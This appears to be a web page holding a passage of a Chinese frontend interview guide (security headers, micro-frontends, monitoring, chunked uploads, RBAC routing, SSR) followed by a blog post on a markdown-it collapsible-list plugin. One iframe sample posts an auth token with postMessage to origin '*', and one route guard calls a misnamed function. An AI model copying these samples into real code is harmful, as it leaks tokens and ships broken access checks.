  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

81. 请谈谈你对前端安全性的理解,以及常见的安全攻击和防御手段

前端安全核心理念

  1. 所有用户输入都是不可信的:必须验证、过滤、转义
  2. 纵深防御:不依赖单一防护手段
  3. 安全默认:默认开启最严格的策略
  4. 最小权限:只开放必要的功能和接口

攻击与防御矩阵

攻击类型 原理 防御手段
XSS 注入恶意脚本 输入过滤、输出编码、CSP、HttpOnly
CSRF 伪造用户请求 CSRF Token、SameSite Cookie、Referer 验证
SQL 注入 注入恶意 SQL 参数化查询、ORM
点击劫持 iframe 覆盖 X-Frame-Options、CSP frame-ancestors
中间人攻击 拦截通信 HTTPS、HSTS

八、微前端架构

82. 微前端

定义

微前端(Micro Frontends)是一种将前端应用拆分为多个小型独立应用的架构模式,每个应用可以由不同团队独立开发、测试和部署。

核心特征

  • 技术栈无关:各子应用可以使用不同框架
  • 独立部署:子应用可以独立发布
  • 增量升级:逐步迁移,无需重写全部代码
  • 团队自治:不同团队独立开发

83. 微前端架构是什么?

架构模式

┌─────────────────────────────────────────┐
│              基座应用 (Shell)              │
│  ┌───────────────────────────────────┐  │
│  │          路由分发层                  │  │
│  └───────────────────────────────────┘  │
│  ┌────────┐ ┌────────┐ ┌────────┐       │
│  │ 子应用A │ │ 子应用B │ │ 子应用C │       │
│  │ React  │ │ Vue    │ │ Angular│       │
│  └────────┘ └────────┘ └────────┘       │
└─────────────────────────────────────────┘

适用场景

  • 大型项目、多团队协作
  • 历史遗留系统逐步迁移
  • 需要独立部署的功能模块

84. 微前端实现方案

方案对比

方案 原理 优点 缺点
iframe 原生 iframe 嵌入 简单、完全隔离 通信困难、性能差、URL 不同步
Web Components 自定义元素标准 标准化、组件化 兼容性、样式穿透困难
single-spa JS 沙箱 + 路由分发 轻量、灵活 需要手动处理隔离
qiankun single-spa 封装 开箱即用、样式/JS 隔离 有一定学习成本
Module Federation Webpack5 原生 模块级共享、性能好 仅 Webpack5

85. iframe 方案

实现

<!-- 基座应用 -->
<div id="micro-app-container">
  <iframe 
    src="http://app-a.example.com" 
    id="app-a"
    sandbox="allow-scripts allow-same-origin allow-forms"
  ></iframe>
</div>

<style>
#micro-app-container iframe {
  width: 100%;
  height: 100vh;
  border: none;
}
</style>

通信方案

// postMessage 通信
// 父应用
const iframe = document.getElementById('app-a');
iframe.contentWindow.postMessage({ type: 'SET_TOKEN', data: token }, '*');

// 子应用
window.addEventListener('message', (e) => {
  if (e.data.type === 'SET_TOKEN') {
    localStorage.setItem('token', e.data.data);
  }
});

86. Web Components

实现

// 定义组件
class MicroAppComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }
  
  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: block; }
        h1 { color: #333; }
      </style>
      <h1>微前端应用</h1>
    `;
  }
  
  disconnectedCallback() {
    // 清理
  }
}

customElements.define('micro-app', MicroAppComponent);

// 使用
<micro-app></micro-app>

87. single-spa

实现

import { registerApplication, start } from 'single-spa';

// 注册子应用
registerApplication({
  name: 'app-a',
  app: () => import('http://app-a.example.com/main.js'),
  activeWhen: ['/app-a']
});

registerApplication({
  name: 'app-b',
  app: () => import('http://app-b.example.com/main.js'),
  activeWhen: ['/app-b']
});

start();

子应用生命周期

export async function bootstrap(props) {
  console.log('子应用 bootstrap');
}

export async function mount(props) {
  console.log('子应用 mount');
  // 渲染应用
}

export async function unmount(props) {
  console.log('子应用 unmount');
  // 清理资源
}

88. qiankun

基座应用配置

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'app-vue',
    entry: '//localhost:8081',
    container: '#container',
    activeRule: '/app-vue',
    props: { token: 'xxx' }
  },
  {
    name: 'app-react',
    entry: '//localhost:8082',
    container: '#container',
    activeRule: '/app-react'
  }
]);

start({
  sandbox: { strictStyleIsolation: true },
  prefetch: true
});

子应用配置(Vue)

// main.js
import Vue from 'vue';
import VueRouter from 'vue-router';

let instance = null;

function render(props = {}) {
  const { container } = props;
  instance = new Vue({
    router,
    store,
    render: h => h(App)
  }).$mount(container ? container.querySelector('#app') : '#app');
}

if (!window.__POWERED_BY_QIANKUN__) {
  render();
}

export async function bootstrap() {}

export async function mount(props) {
  render(props);
}

export async function unmount() {
  instance.$destroy();
  instance = null;
}

89. Module Federation

配置

// 主应用 webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'host',
      remotes: {
        appA: 'appA@http://localhost:3001/remoteEntry.js',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 子应用 webpack.config.js
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'appA',
      filename: 'remoteEntry.js',
      exposes: {
        './App': './src/App',
      },
      shared: ['react', 'react-dom']
    })
  ]
};

// 使用
const AppA = React.lazy(() => import('appA/App'));

90. 微前端通信

通信方案

方案 适用场景
props 传递 基座向子应用传递数据
自定义事件 子应用间解耦通信
全局状态 跨应用共享状态
localStorage 简单数据持久化
URL 参数 路由参数传递

代码实现

// 全局状态方案
class MicroAppState {
  constructor() {
    this.state = {};
    this.listeners = {};
  }
  
  set(key, value) {
    this.state[key] = value;
    if (this.listeners[key]) {
      this.listeners[key].forEach(fn => fn(value));
    }
  }
  
  get(key) {
    return this.state[key];
  }
  
  on(key, fn) {
    if (!this.listeners[key]) this.listeners[key] = [];
    this.listeners[key].push(fn);
  }
}

export const globalState = new MicroAppState();

// 使用
globalState.set('user', { name: '张三' });
globalState.on('user', (user) => {
  console.log('用户信息变更:', user);
});

91. 微前端样式隔离

方案对比

方案 说明 优缺点
Shadow DOM 浏览器原生隔离 完全隔离,但穿透困难
CSS Scoped 添加唯一前缀 实现简单,性能较好
CSS Modules 类名哈希化 工程化支持好
动态样式 挂载时添加,卸载时移除 简单有效

qiankun 样式隔离

start({
  sandbox: {
    strictStyleIsolation: true,  // Shadow DOM
    experimentalStyleIsolation: true  // 动态 scoped
  }
});

// experimentalStyleIsolation 会添加 data-qiankun 属性
// 实际效果:.app-class[data-qiankun="app-a"]

92. 微前端状态共享

方案

// 基于 RxJS 的状态管理
import { BehaviorSubject } from 'rxjs';

class SharedState {
  constructor() {
    this.subjects = {};
  }
  
  get(key, defaultValue) {
    if (!this.subjects[key]) {
      this.subjects[key] = new BehaviorSubject(defaultValue);
    }
    return this.subjects[key];
  }
  
  set(key, value) {
    this.get(key).next(value);
  }
}

export const sharedState = new SharedState();

// 子应用 A - 发布状态
sharedState.set('currentUser', { id: 1, name: '张三' });

// 子应用 B - 订阅状态
sharedState.get('currentUser').subscribe(user => {
  console.log('当前用户:', user);
});

93. 微前端部署

部署方案

方案 说明
独立部署 每个子应用独立部署到不同服务器
统一构建 主应用和子应用统一构建后部署
CDN 部署 子应用部署到 CDN,基座引用 CDN 地址
Docker 容器化 每个子应用独立容器

CI/CD 流程

┌─────────┐    ┌─────────┐    ┌─────────┐
│ 子应用A  │    │ 子应用B  │    │ 子应用C  │
│  独立CI  │    │  独立CI  │    │  独立CI  │
└────┬────┘    └────┬────┘    └────┬────┘
     │              │              │
     ▼              ▼              ▼
┌─────────────────────────────────────────┐
│              CDN / 静态服务器               │
└─────────────────────────────────────────┘
                     ▲
                     │
┌─────────────────────────────────────────┐
│            基座应用(引用子应用地址)          │
│            独立部署、独立版本控制              │
└─────────────────────────────────────────┘

九、监控体系

94. 监控体系包括哪些? / 前端监控体系包括哪些内容?

前端监控体系组成

维度 内容 说明
性能监控 页面加载、渲染、交互性能 FCP、LCP、FID、CLS 等
错误监控 JS 错误、资源加载错误、接口错误 try-catch、window.onerror
用户行为 页面访问、点击、转化漏斗 埋点、PV/UV
业务监控 业务指标、转化率 订单量、注册量
安全监控 XSS 攻击、异常请求 CSP 报告、异常请求分析

95. 前端监控的实现(错误收集、性能监控)

错误收集

// 1. 全局 JS 错误
window.addEventListener('error', (e) => {
  reportError({
    type: 'js-error',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno,
    colno: e.colno,
    stack: e.error?.stack
  });
}, true);

// 2. Promise 未捕获错误
window.addEventListener('unhandledrejection', (e) => {
  reportError({
    type: 'promise-error',
    message: e.reason?.message || String(e.reason),
    stack: e.reason?.stack
  });
});

// 3. 资源加载错误
window.addEventListener('error', (e) => {
  if (e.target !== window) {
    reportError({
      type: 'resource-error',
      tagName: e.target.tagName,
      src: e.target.src || e.target.href
    });
  }
}, true);

// 4. Vue 错误处理
app.config.errorHandler = (err, instance, info) => {
  reportError({
    type: 'vue-error',
    message: err.message,
    component: instance?.$options?.name,
    info
  });
};

// 5. React 错误边界
class ErrorBoundary extends React.Component {
  componentDidCatch(error, errorInfo) {
    reportError({
      type: 'react-error',
      message: error.message,
      componentStack: errorInfo.componentStack
    });
  }
  
  render() {
    return this.props.children;
  }
}

性能监控

// Performance API
function collectPerformanceMetrics() {
  const navigation = performance.getEntriesByType('navigation')[0];
  const paint = performance.getEntriesByType('paint');
  
  return {
    // 导航计时
    dns: navigation.domainLookupEnd - navigation.domainLookupStart,
    tcp: navigation.connectEnd - navigation.connectStart,
    ttfb: navigation.responseStart - navigation.requestStart,
    download: navigation.responseEnd - navigation.responseStart,
    
    // 渲染计时
    fcp: paint.find(p => p.name === 'first-contentful-paint')?.startTime,
    
    // 页面可用
    domReady: navigation.domContentLoadedEventEnd - navigation.startTime,
    load: navigation.loadEventEnd - navigation.startTime
  };
}

// Web Vitals
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

getCLS(reportMetric);
getFID(reportMetric);
getFCP(reportMetric);
getLCP(reportMetric);
getTTFB(reportMetric);

function reportMetric(metric) {
  sendToAnalytics({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    rating: metric.rating
  });
}

96. 如何实现前端埋点监控系统?

埋点类型

类型 说明 实现
页面浏览(PV) 记录页面访问 路由变化监听
用户行为 点击、滚动、输入 事件委托
自定义事件 业务事件 手动调用
性能数据 页面性能 Performance API
错误数据 运行时错误 全局监听

埋点系统实现

class Tracker {
  constructor(options) {
    this.appId = options.appId;
    this.userId = options.userId;
    this.queue = [];
    this.batchSize = options.batchSize || 10;
    this.flushInterval = options.flushInterval || 5000;
    this.apiEndpoint = options.apiEndpoint;
    
    this.startAutoFlush();
  }
  
  // 页面浏览
  trackPageView(pageName, properties = {}) {
    this.track('page_view', { page_name: pageName, ...properties });
  }
  
  // 自定义事件
  trackEvent(eventName, properties = {}) {
    this.track(eventName, properties);
  }
  
  // 核心方法
  track(event, properties = {}) {
    const data = {
      event,
      properties,
      user_id: this.userId,
      app_id: this.appId,
      timestamp: Date.now(),
      url: location.href,
      referrer: document.referrer,
      user_agent: navigator.userAgent,
      screen: `${screen.width}x${screen.height}`
    };
    
    this.queue.push(data);
    
    if (this.queue.length >= this.batchSize) {
      this.flush();
    }
  }
  
  // 批量上报
  async flush() {
    if (this.queue.length === 0) return;
    
    const data = this.queue.splice(0, this.batchSize);
    
    try {
      await navigator.sendBeacon(this.apiEndpoint, JSON.stringify(data));
    } catch (e) {
      // 降级为图片请求
      new Image().src = `${this.apiEndpoint}?data=${encodeURIComponent(JSON.stringify(data))}`;
    }
  }
  
  startAutoFlush() {
    setInterval(() => this.flush(), this.flushInterval);
  }
}

// 自动 PV 追踪
function trackPageView(tracker) {
  const originalPushState = history.pushState;
  history.pushState = function(...args) {
    originalPushState.apply(this, args);
    tracker.trackPageView(location.pathname);
  };
  
  window.addEventListener('popstate', () => {
    tracker.trackPageView(location.pathname);
  });
  
  // 初始页面
  tracker.trackPageView(location.pathname);
}

// 使用
const tracker = new Tracker({
  appId: 'my-app',
  userId: getUserId(),
  apiEndpoint: '/api/track'
});

trackPageView(tracker);

// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
  tracker.trackEvent('form_submit', { form_id: 'login-form' });
});

97. 性能监控

关键指标

指标 说明 目标
FCP 首次内容绘制 < 1.8s
LCP 最大内容绘制 < 2.5s
FID 首次输入延迟 < 100ms
CLS 累积布局偏移 < 0.1
TTI 可交互时间 < 3.8s

实时监控

// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime}ms`);
    reportToServer(entry.name, entry.startTime);
  }
});

observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', entry.duration, 'ms');
  }
});
longTaskObserver.observe({ type: 'longtask', buffered: true });

十、工程实践

98. 大文件上传如何实现?

问题拆解

维度 问题 方案
传输 大文件传输慢 分片上传
可靠性 网络中断导致失败 断点续传
效率 重复上传相同文件 秒传(哈希去重)
进度 用户不知道进度 进度条反馈
并发 提高上传速度 并发上传

实现步骤

1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分

代码实现

class FileUploader {
  constructor(options) {
    this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
    this.concurrent = options.concurrent || 3;
    this.onProgress = options.onProgress;
  }
  
  // 计算文件哈希
  async calculateHash(file) {
    return new Promise((resolve) => {
      const spark = new SparkMD5.ArrayBuffer();
      const reader = new FileReader();
      const chunks = this.sliceFile(file);
      let index = 0;
      
      const loadNext = () => {
        if (index >= chunks.length) {
          resolve(spark.end());
          return;
        }
        reader.readAsArrayBuffer(chunks[index++]);
      };
      
      reader.onload = (e) => {
        spark.append(e.target.result);
        loadNext();
      };
      
      loadNext();
    });
  }
  
  // 切片
  sliceFile(file) {
    const chunks = [];
    let start = 0;
    while (start < file.size) {
      chunks.push(file.slice(start, start + this.chunkSize));
      start += this.chunkSize;
    }
    return chunks;
  }
  
  // 上传单个分片
  async uploadChunk(chunk, index, hash, fileName) {
    const formData = new FormData();
    formData.append('chunk', chunk);
    formData.append('index', index);
    formData.append('hash', hash);
    formData.append('fileName', fileName);
    
    return fetch('/api/upload/chunk', {
      method: 'POST',
      body: formData
    });
  }
  
  // 并发控制
  async concurrentUpload(tasks, limit) {
    const results = [];
    let index = 0;
    
    const worker = async () => {
      while (index < tasks.length) {
        const taskIndex = index++;
        results[taskIndex] = await tasks[taskIndex]();
      }
    };
    
    const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
    await Promise.all(workers);
    return results;
  }
  
  // 主流程
  async upload(file) {
    const hash = await this.calculateHash(file);
    
    // 1. 检查秒传
    const checkRes = await fetch('/api/upload/check', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name })
    });
    const checkData = await checkRes.json();
    
    if (checkData.exist) {
      this.onProgress?.(100);
      return { status: 'exists', url: checkData.url };
    }
    
    // 2. 获取已上传的分片(断点续传)
    const uploadedChunks = checkData.uploaded || [];
    
    // 3. 切片
    const chunks = this.sliceFile(file);
    
    // 4. 过滤未上传的分片
    const tasks = chunks
      .map((chunk, index) => ({ chunk, index }))
      .filter(({ index }) => !uploadedChunks.includes(index))
      .map(({ chunk, index }) => () => 
        this.uploadChunk(chunk, index, hash, file.name)
      );
    
    // 5. 并发上传
    let completed = uploadedChunks.length;
    const total = chunks.length;
    
    const wrappedTasks = tasks.map(task => async () => {
      const result = await task();
      completed++;
      this.onProgress?.(Math.round((completed / total) * 100));
      return result;
    });
    
    await this.concurrentUpload(wrappedTasks, this.concurrent);
    
    // 6. 合并分片
    return fetch('/api/upload/merge', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
    });
  }
}

// 使用
const uploader = new FileUploader({
  chunkSize: 2 * 1024 * 1024,
  concurrent: 3,
  onProgress: (percent) => {
    console.log(`上传进度: ${percent}%`);
    document.getElementById('progress').style.width = `${percent}%`;
  }
});

document.getElementById('file-input').addEventListener('change', async (e) => {
  const file = e.target.files[0];
  const result = await uploader.upload(file);
  console.log('上传结果:', result);
});

99. 如何实现权限控制系统?

权限模型

模型 说明 适用场景
RBAC 基于角色的权限控制 通用场景
ABAC 基于属性的权限控制 细粒度控制
ACL 访问控制列表 简单权限

RBAC 实现

用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)

前端权限控制方案

维度 方案
菜单权限 动态路由、菜单过滤
按钮权限 自定义指令、组件
接口权限 请求拦截、后端校验
数据权限 数据过滤、行级权限

动态路由权限控制

// 路由配置
const asyncRoutes = [
  {
    path: '/admin',
    component: () => import('@/layouts/AdminLayout.vue'),
    meta: { roles: ['admin'] },
    children: [
      {
        path: 'users',
        component: () => import('@/pages/admin/Users.vue'),
        meta: { roles: ['admin'] }
      },
      {
        path: 'roles',
        component: () => import('@/pages/admin/Roles.vue'),
        meta: { roles: ['admin', 'manager'] }
      }
    ]
  },
  {
    path: '/dashboard',
    component: () => import('@/pages/Dashboard.vue'),
    meta: { roles: ['admin', 'user', 'manager'] }
  }
];

// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
  return routes.filter(route => {
    if (route.meta?.roles) {
      const hasPermission = route.meta.roles.some(role => 
        userRoles.includes(role)
      );
      if (!hasPermission) return false;
    }
    
    if (route.children) {
      route.children = filterRoutesByRoles(route.children, userRoles);
    }
    
    return true;
  });
}

// 路由守卫
router.beforeEach(async (to, from, next) => {
  const userStore = useUserStore();
  
  if (!userStore.token) {
    if (to.path === '/login') {
      next();
    } else {
      next(`/login?redirect=${to.path}`);
    }
    return;
  }
  
  // 获取用户信息和权限
  if (!userStore.roles.length) {
    await userStore.fetchUserInfo();
    
    // 动态添加路由
    const accessibleRoutes = filterRoutesByRoutes(
      asyncRoutes, 
      userStore.roles
    );
    
    accessibleRoutes.forEach(route => {
      router.addRoute(route);
    });
    
    // 重新导航
    next({ ...to, replace: true });
    return;
  }
  
  next();
});

按钮权限控制

<!-- 权限指令 -->
const permission = {
  mounted(el, binding) {
    const { value } = binding;
    const userPermissions = useUserStore().permissions;
    
    if (value && !userPermissions.includes(value)) {
      el.parentNode?.removeChild(el);
    }
  }
};

app.directive('permission', permission);

<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>

权限组件

<template>
  <slot v-if="hasPermission"></slot>
</template>

<script>
export default {
  props: {
    permission: { type: String, required: true }
  },
  computed: {
    hasPermission() {
      return useUserStore().permissions.includes(this.permission);
    }
  }
}
</script>

<!-- 使用 -->
<Permission permission="user:delete">
  <button>删除用户</button>
</Permission>

100. 如何实现服务端渲染 (SSR)?

定义

服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。

优势

  • SEO 友好:搜索引擎可以抓取完整内容
  • 首屏加载快:无需等待 JS 下载执行
  • 用户体验好:减少白屏时间

Vue SSR 实现

// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';

const app = express();

app.get('*', async (req, res) => {
  const vueApp = createSSRApp(App);
  
  // 传递初始数据
  vueApp.provide('initialData', { user: '张三' });
  
  const html = await renderToString(vueApp);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="app">${html}</div>
        <script>
          window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
        </script>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

React SSR 实现

// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';

const app = express();

app.get('*', (req, res) => {
  const html = renderToString(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

Nuxt.js / Next.js

// Nuxt.js (Vue)
// nuxt.config.js
export default {
  ssr: true,
  target: 'server'
}

// Next.js (React)
// next.config.js
module.exports = {
  // SSR 默认开启
}

// 页面组件
export async function getServerSideProps(context) {
  const data = await fetchData();
  return { props: { data } };
}

SSR 架构

┌──────────┐     ┌──────────┐     ┌──────────┐
│  浏览器   │────>│  服务端   │────>│  数据库   │
│          │<────│          │<────│          │
└──────────┘ HTML└──────────┘     └──────────┘
     │
     │ hydrate
     ▼
┌──────────┐
│  客户端   │
│  (SPA)   │
└──────────┘

基于 Markdown-It 的无序列表折叠插件

作者 WindRunnerMax
2026年5月6日 11:00

当前Markdown已经成为最好的编程语言,同样的Md也成为了产品文档最需要支持的格式,特别是面向开发者的文档。实际上很多情况下编程和文档的场景是非常类似的,因此在时代的推动下,原生支持Md生产和消费的文档系统的需求重新出现。

在这里我们关注于API文档类型的展示,在OpenAIClaudeAPI文档中,可以看到其表达参数列表的形式类似折叠列表。而观察原始的Md文档,就可以看出其参数列表的形式是无序列表,因此我们也实现类似的功能来将无序列表转换为折叠列表展示。

实际上,将无序列表渲染成折叠列表这件事,本身还是面向开发者阅读的,如果单纯是面向AI来消费,则仅提供纯文本的Md内容即可。目前来看,同时需要面向开发者和AI的状态应该还需要存在较长的时间,因此实现一套Md渲染器还是有必要的。

解析规则

首先我们需要分析无序列表结构及其解析后的HTML,基本的无序列表结构如下所示:

- 0 
- 1 
  - 1.1 
  - 1.2 
    - 1.2.1 
    - 1.2.2 
  - 1.3 
    with desc
    - 1.3.1 
    - 1.3.2 
- 2
<ul>
  <li>0</li>
  <li> 1
    <ul>
      <li>1.1</li>
      <li> 1.2
        <ul>
          <li>1.2.1</li>
          <li>1.2.2</li>
        </ul>
      </li>
      <li> 1.3 <br /> with desc
        <ul>
          <li>1.3.1</li>
          <li>1.3.2</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>2</li>
</ul>

可以看出示例中存在三级ul元素结构嵌套,以及描述内容的li元素,我们需要根据不同的情况来解析。理论上而言,只有存在嵌套结构的li元素才需要解析为折叠结构,其子元素内起始到ul之间的内容需要作为标题,ul内元素则作为折叠展开的内容。

通常来说,实现类似手风琴的效果,大概会主动管理状态,用div等元素来绘制折叠面板,然后主动处理点击事件,来切换折叠展开的状态。不过,HTML原生支持了details元素以及summary元素,我们可以借助原生元素来实现折叠列表的效果,其主要优点是:

  • 简单易用,通常情况下不需要主动管理状态,仅需要维护DOM结构。
  • 无需处理事件,特别是在SSR的情况下,不需要再hydrate注入事件。
  • 原生支持搜索,使用浏览器搜索时,可以自动展开包含搜索关键词的折叠列表。
<details>
  <summary>Details</summary>
  Something more.
</details>

那么根据以上的HTML结构,我们可以根据无序列表的结构,转换为details+summary元素的结构。观察其结构,我们可以实现如下转换规则:

  • ul元素作为折叠展开的内容,这里可以自定义为block元素,也可以保持ul元素。
  • li元素内存在嵌套的直属ul元素时,该li元素需要转换为details元素。
  • 转换的details元素的子元素,从起始到ul元素之间的内容,需要包装summary元素。

根据上述的转换规则,我们可以将最开始的无序列表HTML内容转换为details + summary元素的结构:

  • 渲染示例
  • 1
    • 1.1
    • 1.2
      • 1.2.1
      • 1.2.2
      1.3
      with desc
      • 1.3.1
      • 1.3.2
  • 2
<ul>
  <li>渲染示例</li>
  <details>
    <summary>1</summary>
    <ul>
      <li>1.1</li>
      <details>
        <summary>1.2</summary>
        <ul>
          <li>1.2.1</li>
          <li>1.2.2</li>
        </ul>
      </details>
      <details>
        <summary>1.3 <br /> with desc</summary>
        <ul>
          <li>1.3.1</li>
          <li>1.3.2</li>
        </ul>
      </details>
    </ul>
  </details>
  <li>2</li>
</ul>

元素重建

在设计好HTML结构的转换规则后,我们需要在MarkdownIt的基础上实现转换逻辑。在MdIt中提供了诸多时机的Hook函数,我们需要根据处理的时机来实现转换逻辑,通常来说应该尽可能在后处理阶段来实现相关逻辑,这里我们分别实现解析后处理和渲染时处理。

渲染时处理

因此,我们首先来看仅渲染阶段的rule处理逻辑,在上述的转换规则中,将ul元素转换为block元素,以及将li元素渲染为details元素,这两点是没什么问题的。然而,为子节点包装summary元素,则是比较麻烦的。

在仅渲染阶段,这件事并非不能实现,但是却容易破坏MdIt的线性解析模式。如果这是个递归结构,则仅需要将其节点包一层DOM元素即可,而在线性结构中,包装一层summary元素需要在li_open追加<summary>元素,在ul_open前置</summary>元素。

mdIt.renderer.rules.bullet_list_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx - 1; i >= 0; i--) {
    const token = tokens[i];
    if (token.level < current.level - 1) break;
    if (token.type === "list_item_open" && token.level === current.level - 1) {
      return "</summary>" + "<ul class=\"bullet-summary-group\">";
    }
  }
  return "<ul class=\"bullet-summary-group\">";
};
mdIt.renderer.rules.list_item_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx + 1; i < tokens.length; i++) {
    const token = tokens[i];
    if (token.level <= current.level)  break;
    if (token.type === "bullet_list_open" && token.level === current.level + 1) {
      return "<details>" + "<summary>";
    }
  }
  return "<li>";
};
mdIt.renderer.rules.list_item_close = (tokens: Token[], idx: number) => {
  const prevToken = tokens[idx - 1];
  if (prevToken && prevToken.tag === "ul") return "</details>";
  return "</li>";
};

虽然这种模式实现起来简单,理论上也并没有什么问题。然而这里存在的问题是,如果我们需要判断大多情况下保持无序列表,仅表达API参数时才将其渲染为折叠列表,那么此时我们在ul元素上方添加@bullet-summary指令来指定渲染模式。

@bullet-summary
- ul
   - li
   - li

那么此时问题在于,如何判断现在现在嵌入的ul元素需要渲染为折叠列表。那么在渲染时机,取得这个渲染指令并不是很容易,因为其本身是扁平的,那么每次调度rule渲染时,都需要迭代向上查找该指令。而如果在渲染时处理p元素的话,则在消费时实现写数据,有点反逻辑。

mdIt.renderer.rules.list_item_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx - 1; i >= 0; i--) {
    // 找到该组顶级 ul 元素, 检查其前置 @bullet-summary 指令 
  }
};

mdIt.renderer.rules.bullet_list_open = (tokens: Token[], idx: number) => {
  // 检查其前置元素是否为 @bullet-summary 指令, 此时在 env 设置变量
};
mdIt.renderer.rules.bullet_list_close = (tokens: Token[], idx: number) => {
  // 检查其匹配的 ul env 设置的环境变量, 此时在 env 清理环境变量
};

解析时处理

MdIt的解析过程中,除了渲染时的rule处理逻辑,还可以在解析阶段后处理Token,此时可以找到相关指令再实现相关的转换逻辑。由于我们并不没有额外实现新的语法,指令更多是起到了标记的作用,因此不需要时机解析内容,而是重新组织Tokens

那么此时,我们先来判断一下指令标记,如果匹配到了该标记,则需要进入到重建Tokens的阶段。不过在此之前,我们需要将该指令节点隐藏,不过如果渲染指令是注释类型的话,倒是可以直接隐藏而无需特殊处理。

// paragraph_open
//   inline: @bullet-summary
// paragraph_close
// bullet_list_open
if (
  token.content === identifier &&
  token.type === "inline" &&
  nextToken &&
  nextStep2Token &&
  nextToken.type === "paragraph_close" &&
  nextStep2Token.type === "bullet_list_open"
) {
  prevToken && (prevToken.hidden = true);
  (token.hidden = true) && (token.children = []);
  nextToken && (nextToken.hidden = true);
  rebuildUlTokens(state, i + 2);
}

紧接着,我们需要找到该节点的对应close节点,以此来圈定具体需要处理的范围。说起来,由于MdIt的解析是线性的,虽然规避了递归的问题,但是最差情况下时间复杂度还是O(n)。此外,由于token.level并不太准确,因此还需要维护一个栈深度来记录当前的层级。

const baseType = openToken.type.slice(0, -5);
const closeType = baseType + "_close";
// open      1
// start iterator
//   open    2
//   close   1
// close     0
// end iterator
let level = 1;
for (let i = openIdx + 1; i < tokens.length; i++) {
  const token = tokens[i];
  if (token.type === openToken.type) {
    level++;
  } else if (token.type === closeType) {
    level--;
    if (level <= 0) return i;
  }
}
return -1;

接下来,需要对ul元素做一些修改,主要是为ul加入class属性,用以指定样式。然后维护一个栈,来记录li元素相互对应的节点。此外,这里有个重要的点是要从后向前遍历,以免前置内容的修改影响后续节点的处理,特别是在插入元素的情况下。

const stack: Token[] = [];
// 从后向前遍历, 避免修改后, 影响后续 i 遍历
for (let i = closeIdx; i >= startIdx; i--) {
  const token = tokens[i];
  if (token.type === "bullet_list_open") {
    token.attrJoin("class", "bullet-summary-group");
  }
  if (token.type === "list_item_close") {
    stack.push(token);
  }
  if (token.type === "list_item_open") {
    const peer = stack.pop();
    rebuildLiTokens(state, i, peer, actions);
  }
}

在匹配到list_item_open节点时,就需要重建li元素结构了,这部分就会更复杂一些。首先我们创建一个对应元素区域的迭代器,来遍历openclose之间的所有节点。迭代器中重要的实现是要携带相关的meta信息,辅助计算层级关系。

let depth = 0;
for (let i = openIdx; i < tokens.length; i++) {
  const token = tokens[i];
  if (token.nesting >= 0) {
    depth++;
  }
  yield { token, depth: depth - 1, idx: i, serial: i - openIdx };
  if (token.nesting <= 0) {
    depth--;
    if (depth <= 0) break;
  }
}

li节点区域遍历过程中,我们需要根据depth来判断其直属子元素。如果直属子元素为ul,则代表该li元素嵌套了无序列表,这样就需要将其转换为details元素。注意,这里修改其type不应该影响外层的栈,需要注意保持关系正确。

// 查找 li 下的子项, 主要目的是检查其直属子元素
for (const node of walker) {
  const k = node.idx;
  const tokenK = node.token;
  if (node.depth !== 1) continue;
  // 直属的 ul 子项, 若是存在则需要转换为 details 组
  if (tokenK.type === "bullet_list_open") {
    // i 的 li 元素需要变为 details 元素
    liToken.type = "li_details_open";
    liToken.tag = "details";
  }
}

